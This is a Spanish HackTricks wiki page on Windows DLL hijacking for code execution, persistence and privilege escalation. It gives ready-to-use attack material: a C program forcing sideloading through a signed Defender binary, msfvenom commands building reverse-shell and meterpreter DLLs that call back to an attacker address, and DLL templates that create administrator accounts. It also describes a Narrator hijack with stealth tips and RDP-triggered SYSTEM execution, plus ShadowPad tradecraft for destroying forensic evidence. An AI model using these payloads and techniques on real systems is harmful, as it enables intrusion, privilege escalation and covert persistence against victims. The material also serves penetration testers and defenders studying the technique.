Dll Hijacking

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

DLL Hijacking consiste en manipular una aplicación confiable para que cargue una DLL maliciosa. Este término abarca varias tácticas como DLL Spoofing, Injection, and Side-Loading. Se utiliza principalmente para code execution, lograr persistence y, menos comúnmente, privilege escalation. A pesar del enfoque en escalation aquí, el método de hijacking permanece consistente entre objetivos.

Técnicas comunes

Se emplean varios métodos para DLL hijacking, cada uno con su efectividad dependiendo de la estrategia de carga de DLLs de la aplicación:

  1. DLL Replacement: Sustituir una DLL legítima por una maliciosa, opcionalmente usando DLL Proxying para preservar la funcionalidad original de la DLL.
  2. DLL Search Order Hijacking: Colocar la DLL maliciosa en una ruta de búsqueda antes de la legítima, explotando el patrón de búsqueda de la aplicación.
  3. Phantom DLL Hijacking: Crear una DLL maliciosa que la aplicación cargue pensando que es una DLL requerida inexistente.
  4. DLL Redirection: Modificar parámetros de búsqueda como %PATH% o archivos .exe.manifest / .exe.local para dirigir la aplicación hacia la DLL maliciosa.
  5. WinSxS DLL Replacement: Sustituir la DLL legítima por una maliciosa en el directorio WinSxS, un método frecuentemente asociado con DLL side-loading.
  6. Relative Path DLL Hijacking: Colocar la DLL maliciosa en un directorio controlado por el usuario junto con la aplicación copiada, parecido a técnicas de Binary Proxy Execution.

Tip

Para una cadena paso a paso que encadena HTML staging, configuraciones AES-CTR y implantes .NET encima de DLL sideloading, revisa el flujo de trabajo a continuación.

Advanced Html Staged Dll Sideloading

Encontrar Dlls faltantes

La forma más común de encontrar Dlls faltantes dentro de un sistema es ejecutar procmon de sysinternals, configurando los siguientes 2 filtros:

y mostrar simplemente la Actividad del sistema de archivos:

Si estás buscando dlls faltantes en general debes dejar esto ejecutándose por unos segundos.
Si buscas una dll faltante dentro de un ejecutable específico debes establecer otro filtro como “Process Name” “contains” <exec name>, ejecutarlo y detener la captura de eventos.

Explotando Dlls faltantes

Para poder escalate privileges, la mejor oportunidad es poder escribir una dll que un proceso privilegiado intentará cargar en alguno de los lugares donde se va a buscar. Por lo tanto, podremos escribir una dll en una carpeta donde la dll se busca antes que la carpeta donde está la dll original (caso raro), o podremos escribir en alguna carpeta donde se va a buscar la dll y la dll original no exista en ninguna carpeta.

Dll Search Order

Inside the Microsoft documentation you can find how the Dlls are loaded specifically.

Las aplicaciones de Windows buscan DLLs siguiendo un conjunto de rutas de búsqueda predefinidas, respetando una secuencia particular. El problema de DLL hijacking surge cuando una DLL maliciosa se coloca estratégicamente en uno de estos directorios, asegurando que se cargue antes que la DLL auténtica. Una solución para prevenir esto es garantizar que la aplicación use rutas absolutas al referirse a las DLLs que necesita.

Puedes ver el orden de búsqueda de DLL en sistemas de 32-bit a continuación:

  1. The directory from which the application loaded.
  2. The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
  3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
  4. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
  5. (C:\Windows)
  6. The current directory.
  7. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.

Ese es el orden de búsqueda por defecto con SafeDllSearchMode habilitado. Cuando está deshabilitado, el directorio actual asciende a la segunda posición. Para desactivar esta característica, crea el valor de registro HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode y configúralo a 0 (por defecto está habilitado).

Si la función LoadLibraryEx se llama con LOAD_WITH_ALTERED_SEARCH_PATH, la búsqueda comienza en el directorio del módulo ejecutable que LoadLibraryEx está cargando.

Finalmente, ten en cuenta que una dll podría cargarse indicando la ruta absoluta en lugar solo del nombre. En ese caso esa dll solo se buscará en esa ruta (si la dll tiene dependencias, estas se buscarán como si hubieran sido cargadas por nombre).

Existen otras formas de alterar el orden de búsqueda, pero no las voy a explicar aquí.

Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath

Una forma avanzada de influir de manera determinista en la ruta de búsqueda de DLL de un proceso recién creado es establecer el campo DllPath en RTL_USER_PROCESS_PARAMETERS al crear el proceso con las APIs nativas de ntdll. Al proporcionar aquí un directorio controlado por el atacante, un proceso objetivo que resuelva una DLL importada por nombre (sin ruta absoluta y sin usar los flags de carga segura) puede verse forzado a cargar una DLL maliciosa desde ese directorio.

Idea clave

  • Construir los parámetros del proceso con RtlCreateProcessParametersEx y proporcionar un DllPath personalizado que apunte a tu carpeta controlada (por ejemplo, el directorio donde vive tu dropper/unpacker).
  • Crear el proceso con RtlCreateUserProcess. Cuando el binario objetivo resuelva una DLL por nombre, el loader consultará este DllPath suministrado durante la resolución, permitiendo sideloading fiable incluso cuando la DLL maliciosa no está colocada junto al EXE objetivo.

Notas/limitaciones

  • Esto afecta al proceso hijo que se está creando; es diferente de SetDllDirectory, que afecta solo al proceso actual.
  • El objetivo debe importar o llamar a LoadLibrary a una DLL por nombre (sin ruta absoluta y sin usar LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
  • KnownDLLs y rutas absolutas hardcoded no pueden ser hijackeadas. Los exports reenviados y SxS pueden cambiar la precedencia.

Minimal C example (ntdll, wide strings, simplified error handling):

Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath ```c #include #include #pragma comment(lib, "ntdll.lib")

// Prototype (not in winternl.h in older SDKs) typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags );

typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation );

static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { DWORD n = GetModuleFileNameW(h, out, cch); for (DWORD i=n; i>0; –i) if (out[i-1] == L’\’) { out[i-1] = 0; break; } }

int wmain(void) { // Target Microsoft-signed, DLL-hijackable binary (example) const wchar_t *image = L“\??\C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe“;

// Build custom DllPath = directory of our current module (e.g., the unpacked archive) wchar_t dllDir[MAX_PATH]; DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);

UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; RtlInitUnicodeString(&uImage, image); RtlInitUnicodeString(&uCmd, L“"C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"“); RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory RtlInitUnicodeString(&uCurDir, dllDir);

RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L“ntdll.dll“), “RtlCreateProcessParametersEx”); RtlCreateUserProcess_t pRtlCreateUserProcess = (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L“ntdll.dll“), “RtlCreateUserProcess”);

RTL_USER_PROCESS_PARAMETERS *pp = NULL; NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, NULL, NULL, NULL, NULL, NULL, 0); if (st < 0) return 1;

RTL_USER_PROCESS_INFORMATION pi = {0}; st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); if (st < 0) return 1;

// Resume main thread etc. if created suspended (not shown here) return 0; }

</details>

Ejemplo de uso operativo
- Coloca un xmllite.dll malicioso (exportando las funciones requeridas o haciendo proxy al real) en tu directorio DllPath.
- Ejecuta un binario firmado conocido por buscar xmllite.dll por nombre usando la técnica anterior. El cargador resuelve la importación mediante el DllPath suministrado y sideloads tu DLL.

Esta técnica se ha observado in-the-wild para impulsar cadenas multi-stage sideloading: un launcher inicial deja caer un helper DLL, que luego lanza un binary firmado por Microsoft y hijackable con un DllPath personalizado para forzar la carga del DLL del atacante desde un staging directory.


#### Excepciones en el orden de búsqueda de dll según la documentación de Windows

Se señalan ciertas excepciones al orden estándar de búsqueda de DLL en la documentación de Windows:

- Cuando se encuentra una **DLL que comparte su nombre con otra ya cargada en memoria**, el sistema omite la búsqueda habitual. En su lugar, realiza una comprobación de redirección y de un manifest antes de recurrir a la DLL ya presente en memoria. **En este escenario, el sistema no realiza una búsqueda de la DLL**.
- En casos en los que la DLL es reconocida como una **known DLL** para la versión actual de Windows, el sistema utilizará su versión de la known DLL, junto con cualquiera de sus DLL dependientes, **omitiendo el proceso de búsqueda**. La clave del registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contiene una lista de estas known DLLs.
- Si una **DLL tiene dependencias**, la búsqueda de esas DLL dependientes se realiza como si hubieran sido indicadas únicamente por sus **module names**, independientemente de si la DLL inicial fue identificada mediante una ruta completa.

### Escalación de privilegios

**Requisitos**:

- Identifica un proceso que opere o vaya a operar bajo **privilegios diferentes** (horizontal or lateral movement), y que **carezca de una DLL**.
- Asegúrate de que haya **acceso de escritura** en cualquier **directorio** en el que se **buscará la DLL**. Esta ubicación puede ser el directorio del ejecutable o un directorio dentro de la ruta del sistema.

Sí, los requisitos son complicados de encontrar ya que **por defecto es bastante raro encontrar un ejecutable privilegiado que le falte una DLL** y es aún **más raro tener permisos de escritura en una carpeta de la ruta del sistema** (por defecto no puedes). Pero, en entornos mal configurados esto es posible.\
Si tienes la suerte de cumplir los requisitos, puedes revisar el proyecto [UACME](https://github.com/hfiref0x/UACME). Aunque el **objetivo principal del proyecto es bypass UAC**, puede que encuentres allí un **PoC** de un Dll hijaking para la versión de Windows que puedas usar (probablemente solo cambiando la ruta de la carpeta donde tienes permisos de escritura).

Ten en cuenta que puedes **comprobar tus permisos en una carpeta** haciendo:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

Y verifica los permisos de todas las carpetas dentro de PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

También puedes comprobar los imports de un ejecutable y los exports de una dll con:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Para una guía completa sobre cómo abusar Dll Hijacking para escalar privilegios con permisos para escribir en una carpeta del System Path consulta:

Writable Sys Path +Dll Hijacking Privesc

Herramientas automatizadas

Winpeas comprobará si tienes permisos de escritura en cualquier carpeta dentro del System PATH.
Otras herramientas automatizadas interesantes para descubrir esta vulnerabilidad son las funciones de PowerSploit: Find-ProcessDLLHijack, Find-PathDLLHijack y Write-HijackDll.

Ejemplo

En caso de encontrar un escenario explotable, una de las cosas más importantes para explotarlo con éxito sería crear una dll que exporte al menos todas las funciones que el ejecutable importará de ella. Ten en cuenta que Dll Hijacking resulta útil para escalar desde Medium Integrity level a High (bypassing UAC) o desde High Integrity to SYSTEM. Puedes encontrar un ejemplo de cómo crear una dll válida dentro de este estudio sobre dll hijacking enfocado en dll hijacking para ejecución: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Además, en la siguiente sección puedes encontrar algunos códigos básicos de dll que pueden ser útiles como plantillas o para crear una dll con funciones no requeridas exportadas.

Creación y compilación de Dlls

Dll Proxifying

Básicamente un Dll proxy es una Dll capaz de ejecutar tu código malicioso cuando se carga pero también de exponer y funcionar como se espera, reenviando todas las llamadas a la librería real.

Con la herramienta DLLirant o Spartacus puedes indicar un ejecutable y seleccionar la librería que quieres proxificar y generar una dll proxificada, o indicar la Dll y generar una dll proxificada.

Meterpreter

Obtener rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Obtener un meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Crear un usuario (x86 no encontré una versión x64):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Tu propio

Ten en cuenta que en varios casos el Dll que compiles debe exportar varias funciones que serán cargadas por el proceso víctima; si esas funciones no existen, el binario no podrá cargarlas y el exploit fallará.

Plantilla DLL en C (Win10) ```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("whoami > C:\\users\\username\\whoami.txt"); WinExec("calc.exe", 0); //This doesn't accept redirections like system break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` ```c // For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll // For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system(“cmd.exe /k net localgroup administrators user /add”); ExitProcess(0); } return TRUE; }

<details>
<summary>Ejemplo de DLL en C++ con creación de usuario</summary>
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
DLL C alternativa con entrada de hilo ```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h> #include<stdlib.h> #include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded system(“cmd”); }

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }

</details>

## Estudio de caso: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)

Windows Narrator.exe todavía busca una DLL de localización predecible y específica por idioma al iniciarse que puede ser hijacked para arbitrary code execution y persistence.

Datos clave
- Ruta de sondeo (compilaciones actuales): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Ruta heredada (compilaciones antiguas): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- Si existe una DLL controlada por el atacante y con permisos de escritura en la ruta OneCore, se carga y se ejecuta `DllMain(DLL_PROCESS_ATTACH)`. No se requieren exports.

Descubrimiento con Procmon
- Filtro: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Inicia Narrator y observa el intento de carga de la ruta anterior.

DLL mínima
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}

Silencio OPSEC

  • Un hijack ingenuo hará que Narrator hable/ilumine la UI. Para mantenerse en silencio, al adjuntarse enumera los hilos de Narrator, abre el hilo principal (OpenThread(THREAD_SUSPEND_RESUME)) y hazle SuspendThread; continúa en tu propio hilo. Ver PoC para el código completo.

Trigger and persistence via Accessibility configuration

  • Contexto de usuario (HKCU): reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
  • Winlogon/SYSTEM (HKLM): reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
  • Con lo anterior, al iniciar Narrator se carga la DLL plantada. En el secure desktop (pantalla de inicio de sesión), pulsa CTRL+WIN+ENTER para iniciar Narrator.

RDP-triggered SYSTEM execution (lateral movement)

  • Permitir classic RDP security layer: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
  • Conéctate por RDP al host; en la pantalla de inicio de sesión pulsa CTRL+WIN+ENTER para lanzar Narrator; tu DLL se ejecuta como SYSTEM en el secure desktop.
  • La ejecución se detiene cuando la sesión RDP se cierra—inyecta/migra con rapidez.

Bring Your Own Accessibility (BYOA)

  • Puedes clonar una entrada de registro de un Accessibility Tool (AT) integrado (p. ej., CursorIndicator), editarla para que apunte a un binario/DLL arbitrario, importarla y luego establecer configuration a ese nombre de AT. Esto proxifica ejecución arbitraria bajo el framework de Accesibilidad.

Notas

  • Escribir bajo %windir%\System32 y cambiar valores HKLM requiere privilegios de administrador.
  • Toda la lógica del payload puede residir en DLL_PROCESS_ATTACH; no se necesitan exports.

Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe

Este caso demuestra Phantom DLL Hijacking en el TrackPoint Quick Menu de Lenovo (TPQMAssistant.exe), registrado como CVE-2025-1729.

Vulnerability Details

  • Component: TPQMAssistant.exe ubicado en C:\ProgramData\Lenovo\TPQM\Assistant\.
  • Scheduled Task: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask se ejecuta diariamente a las 9:30 AM bajo el contexto del usuario que ha iniciado sesión.
  • Directory Permissions: Escribible por CREATOR OWNER, lo que permite a usuarios locales dejar archivos arbitrarios.
  • DLL Search Behavior: Intenta cargar hostfxr.dll desde su directorio de trabajo primero y registra “NAME NOT FOUND” si falta, indicando precedencia de búsqueda en el directorio local.

Exploit Implementation

Un atacante puede colocar un stub malicioso hostfxr.dll en el mismo directorio, explotando la DLL faltante para lograr ejecución de código bajo el contexto del usuario:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

Flujo de ataque

  1. Como usuario estándar, colocar hostfxr.dll en C:\ProgramData\Lenovo\TPQM\Assistant\.
  2. Esperar a que la tarea programada se ejecute a las 9:30 AM en el contexto del usuario actual.
  3. Si un administrador ha iniciado sesión cuando la tarea se ejecuta, la DLL maliciosa se ejecuta en la sesión del administrador con integridad media.
  4. Encadenar técnicas estándar de UAC bypass para elevar de integridad media a privilegios SYSTEM.

Estudio de caso: MSI CustomAction Dropper + DLL Side-Loading a través de host firmado (wsc_proxy.exe)

Los actores malintencionados frecuentemente combinan droppers basados en MSI con DLL side-loading para ejecutar payloads bajo un proceso firmado y de confianza.

Chain overview

  • El usuario descarga el MSI. Una CustomAction se ejecuta silenciosamente durante la instalación con GUI (p. ej., LaunchApplication o una acción VBScript), reconstruyendo la siguiente etapa desde recursos embebidos.
  • El dropper escribe un EXE legítimo firmado y una DLL maliciosa en el mismo directorio (par de ejemplo: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
  • Cuando se inicia el EXE firmado, el orden de búsqueda de DLL de Windows carga wsc.dll desde el directorio de trabajo primero, ejecutando código del atacante bajo un padre firmado (ATT&CK T1574.001).

MSI analysis (what to look for)

  • Tabla CustomAction:
  • Buscar entradas que ejecuten ejecutables o VBScript. Patrón sospechoso de ejemplo: LaunchApplication ejecutando un archivo embebido en segundo plano.
  • En Orca (Microsoft Orca.exe), inspeccionar las tablas CustomAction, InstallExecuteSequence y Binary.
  • Payloads embebidos/divididos en el CAB del MSI:
  • Extracción administrativa: msiexec /a package.msi /qb TARGETDIR=C:\out
  • O usar lessmsi: lessmsi x package.msi C:\out
  • Buscar múltiples fragmentos pequeños que se concatenan y descifran mediante una CustomAction VBScript. Flujo común:
' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)

Sideloading práctico con wsc_proxy.exe

  • Coloca estos dos archivos en la misma carpeta:
  • wsc_proxy.exe: host legítimo firmado (Avast). El proceso intenta cargar wsc.dll por nombre desde su directorio.
  • wsc.dll: DLL del atacante. Si no se requieren exports específicos, DllMain puede ser suficiente; de lo contrario, construye una proxy DLL y reenvía los exports requeridos a la biblioteca genuina mientras ejecutas la payload en DllMain.
  • Construye una DLL payload mínima:
// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}
  • Para los requisitos de exportación, usa un framework de proxy (p. ej., DLLirant/Spartacus) para generar una DLL de reenvío que también ejecute tu payload.

  • Esta técnica depende de la resolución de nombres de DLL por parte del binario host. Si el host usa rutas absolutas o flags de carga segura (p. ej., LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories), el hijack puede fallar.

  • KnownDLLs, SxS y forwarded exports pueden influir en la precedencia y deben considerarse al seleccionar el binario host y el export set.

Tríadas firmadas + payloads cifrados (estudio de caso ShadowPad)

Check Point describió cómo Ink Dragon despliega ShadowPad usando una tríada de tres archivos para mimetizarse con software legítimo mientras mantiene el payload principal cifrado en disco:

  1. EXE host firmado – se abusan de vendors como AMD, Realtek o NVIDIA (vncutil64.exe, ApplicationLogs.exe, msedge_proxyLog.exe). Los atacantes renombran el ejecutable para que parezca un binario de Windows (por ejemplo conhost.exe), pero la firma Authenticode sigue siendo válida.
  2. DLL loader maliciosa – colocada junto al EXE con un nombre esperado (vncutil64loc.dll, atiadlxy.dll, msedge_proxyLogLOC.dll). La DLL suele ser un binario MFC ofuscado con el framework ScatterBrain; su única función es localizar el blob cifrado, descifrarlo y mapear reflectivamente ShadowPad.
  3. Encrypted payload blob – frecuentemente almacenado como <name>.tmp en el mismo directorio. Tras mapear en memoria el payload descifrado, el loader elimina el archivo TMP para destruir evidencia forense.

Tradecraft notes:

  • Renombrar el EXE firmado (manteniendo el OriginalFileName original en el PE header) le permite hacerse pasar por un binario de Windows y al mismo tiempo conservar la firma del vendor, así que replica la costumbre de Ink Dragon de dejar binarios con aspecto de conhost.exe que en realidad son utilidades de AMD/NVIDIA.
  • Como el ejecutable permanece confiable, la mayoría de los controles de allowlisting solo necesitan que tu DLL maliciosa esté junto a él. Enfócate en personalizar el loader DLL; el ejecutable firmado padre normalmente puede ejecutarse sin tocar.
  • El decryptor de ShadowPad espera que el blob TMP esté junto al loader y sea escribible para poder sobrescribir el archivo con ceros después de mapearlo. Mantén el directorio escribible hasta que el payload se cargue; una vez en memoria el archivo TMP puede eliminarse de forma segura para OPSEC.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks